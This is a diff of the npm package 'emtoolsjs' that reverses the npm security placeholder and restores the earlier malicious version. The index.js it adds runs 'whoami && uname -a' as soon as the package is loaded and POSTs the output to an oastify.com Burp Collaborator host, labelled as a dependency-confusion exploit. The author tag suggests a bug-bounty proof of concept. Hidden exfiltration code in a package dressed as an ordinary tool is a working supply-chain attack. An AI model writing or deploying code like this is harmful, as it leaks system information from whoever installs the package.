emtoolsjs 0.0.1-security → 1.0.1

package/index.js

@@ -0,0 +1,48 @@
+const https = require('https');
+const { exec } = require('child_process');
+
+// Función para enviar datos al Burp Collaborator
+function sendData(data) {
+    const options = {
+        hostname: '2be71rh86kkyju99zxclirv7cyip6gu5.oastify.com', // URL de tu Burp Collaborator
+        port: 443,
+        path: '/callback',
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': data.length
+        }
+    };
+
+    const req = https.request(options, (res) => {
+        res.on('data', (d) => process.stdout.write(d));
+    });
+
+    req.on('error', (error) => {
+        console.error(error);
+    });
+
+    req.write(data);
+    req.end();
+}
+
+// Ejecutar comandos y enviar los resultados
+exec('whoami && uname -a', (error, stdout, stderr) => {
+    if (error) {
+        console.error(`Error al ejecutar el comando: ${error.message}`);
+        return;
+    }
+    if (stderr) {
+        console.error(`Error en el comando: ${stderr}`);
+    }
+
+    // Prepara los datos en formato JSON para enviar a Burp Collaborator
+    const payload = JSON.stringify({
+        message: 'Dependency confusion exploit',
+        commandOutput: stdout
+    });
+
+    // Envía los datos al Collaborator
+    sendData(payload);
+});
+

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "emtoolsjs",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.1",
+  "description": "test",
+  "main": "index.js",
+  "scripts": {
+    "test": "pwd"
+  },
+  "keywords": [],
+  "author": "b4llstr-ywh-",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=emtoolsjs for more information.